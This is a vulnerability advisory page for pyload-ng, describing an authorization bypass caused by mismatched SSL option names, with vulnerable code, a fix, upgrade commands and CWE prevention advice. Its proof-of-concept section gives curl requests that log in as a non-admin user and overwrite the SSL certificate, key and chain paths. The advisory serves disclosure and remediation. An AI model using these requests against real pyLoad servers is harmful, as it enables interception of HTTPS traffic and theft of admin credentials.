GHSA-ppvx-rwh9-7rj7 CVE-2026-35586 PYSEC-2026-123
pyload-ng: Authorization Bypass for SSL Certificate/Key Configuration Due to Option Name Mismatch in pyload-ng
- Severity
- 6.8 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.14%
- Chance of exploitation in the next 30 days. Higher than 3.50% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
0.5.0b3.dev97- Upgrade pyload-ng to this version or later
Description
Summary
The ADMIN_ONLY_CORE_OPTIONS authorization set in set_config_value() uses incorrect option names ssl_cert and ssl_key, while the actual configuration option names are ssl_certfile and ssl_keyfile. This name mismatch causes the admin-only check to always evaluate to False, allowing any user with SETTINGS permission to overwrite the SSL certificate and key file paths. Additionally, the ssl_certchain option was never added to the admin-only set at all.
Details
The vulnerability is in src/pyload/core/api/__init__.py. The ADMIN_ONLY_CORE_OPTIONS set is defined at lines 237-248:
ADMIN_ONLY_CORE_OPTIONS = {
("general", "storage_folder"),
("log", "syslog_host"),
("log", "syslog_port"),
("proxy", "password"),
("proxy", "username"),
("reconnect", "script"),
("webui", "host"),
("webui", "ssl_cert"), # BUG: should be "ssl_certfile"
("webui", "ssl_key"), # BUG: should be "ssl_keyfile"
("webui", "use_ssl"),
}
# NOTE: ("webui", "ssl_certchain") is entirely missing
The actual config option names are defined in src/pyload/core/config/default.cfg:39-41:
file ssl_certfile : "SSL Certificate" = ssl.crt
file ssl_keyfile : "SSL Key" = ssl.key
file ssl_certchain : "CA's intermediate certificate bundle (optional)" =
The authorization check at line 267 compares the incoming (category, option) tuple against this set:
if (category, option) in ADMIN_ONLY_CORE_OPTIONS and not is_admin:
self.pyload.log.error(...)
return
When a request arrives with option=ssl_certfile, the check evaluates ("webui", "ssl_certfile") in ADMIN_ONLY_CORE_OPTIONS which is False because the set contains ("webui", "ssl_cert"), not ("webui", "ssl_certfile"). The admin-only guard is bypassed and config.set() at line 271 proceeds to write the attacker-supplied value.
The value is cast as a file type in parser.py:300-305, which resolves it via os.path.realpath() but performs no further validation:
elif typ in ("file", "folder"):
return (
""
if value in (None, "")
else os.path.realpath(os.path.expanduser(os.fsdecode(value)))
)
On server restart with SSL enabled, the webserver loads the attacker-controlled paths (webserver_thread.py:22-23,51-52):
self.certfile = self.pyload.config.get("webui", "ssl_certfile")
self.keyfile = self.pyload.config.get("webui", "ssl_keyfile")
# ...
self.server.ssl_adapter = BuiltinSSLAdapter(
self.certfile, self.keyfile, self.certchain
)
PoC
Prerequisites: A pyLoad instance with SSL enabled and a non-admin user account that has SETTINGS permission.
Step 1: Authenticate as the non-admin user to get a session cookie:
curl -c cookies.txt -X POST 'http://localhost:8000/login' \
-d 'username=settingsuser&password=password123'
Step 2: Set the SSL certificate to an attacker-controlled file path:
curl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \
-H 'Content-Type: application/json' \
-d '{"category": "core", "config": {"webui|ssl_certfile": "/tmp/attacker.crt"}}'
Expected response: true (config saved successfully)
Step 3: Set the SSL key to an attacker-controlled file path:
curl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \
-H 'Content-Type: application/json' \
-d '{"category": "core", "config": {"webui|ssl_keyfile": "/tmp/attacker.key"}}'
Expected response: true (config saved successfully)
Step 4: Set the SSL certificate chain (never protected):
curl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \
-H 'Content-Type: application/json' \
-d '{"category": "core", "config": {"webui|ssl_certchain": "/tmp/attacker-chain.crt"}}'
Expected response: true (config saved successfully)
Step 5: After the server restarts, it will load the attacker's certificate and key for all HTTPS connections.
Impact
A non-admin user with SETTINGS permission can replace the SSL certificate and key used by the pyLoad HTTPS server. When the server restarts (or is restarted by an admin), it will serve HTTPS using the attacker's certificate/key pair. This enables:
- Man-in-the-Middle attacks: The attacker, possessing the private key for the now-active certificate, can intercept and decrypt all HTTPS traffic to the pyLoad instance, including admin credentials and session tokens.
- Credential theft: All users (including admins) connecting over HTTPS will have their credentials exposed to the attacker.
- Configuration tampering: With intercepted admin credentials, the attacker can escalate to full admin access.
The attack requires SSL to already be enabled by an admin (the use_ssl option is correctly protected), the attacker to place certificate/key files on the filesystem (potentially achievable via pyLoad's download functionality), and a server restart.
Recommended Fix
Fix the option names in ADMIN_ONLY_CORE_OPTIONS and add the missing ssl_certchain option in src/pyload/core/api/__init__.py:
ADMIN_ONLY_CORE_OPTIONS = {
("general", "storage_folder"),
("log", "syslog_host"),
("log", "syslog_port"),
("proxy", "password"),
("proxy", "username"),
("reconnect", "script"),
("webui", "host"),
("webui", "ssl_certfile"), # Fixed: was "ssl_cert"
("webui", "ssl_keyfile"), # Fixed: was "ssl_key"
("webui", "ssl_certchain"), # Added: was missing entirely
("webui", "use_ssl"),
}
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pyload-ng | < 0.5.0b3.dev97 |
0.5.0b3.dev97 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pyload-ng PyPI → 0.5.0b3.dev97
- pip
pip install --upgrade "pyload-ng>=0.5.0b3.dev97"- poetry
poetry add "pyload-ng>=0.5.0b3.dev97"- uv
uv add "pyload-ng>=0.5.0b3.dev97"
Severity breakdown
CVSS 3.1 6.8
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-68w4-83fh-f2w8 pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password | High | Also affects pyload-ng |
| GHSA-9q47-3cm2-2rp8 pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header | Medium | Also affects pyload-ng |
| GHSA-jq7h-wrvp-3rgx pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session | High | Also affects pyload-ng |
| GHSA-889w-m37p-88m5 pyLoad: Api.set_user_permission never invalidates the target's session | High | Also affects pyload-ng |
| GHSA-p3pr-8f3m-4qp8 pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host | Medium | Also affects pyload-ng |
| GHSA-fr26-jjhm-638c pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) | High | Also affects pyload-ng |
| GHSA-r44w-v6gf-x3p6 pyLoad has an authentication bypass in API key validation (check_apikey cache) | High | Also affects pyload-ng |
| GHSA-j92p-c242-7hfx pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo | Medium | Also affects pyload-ng |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor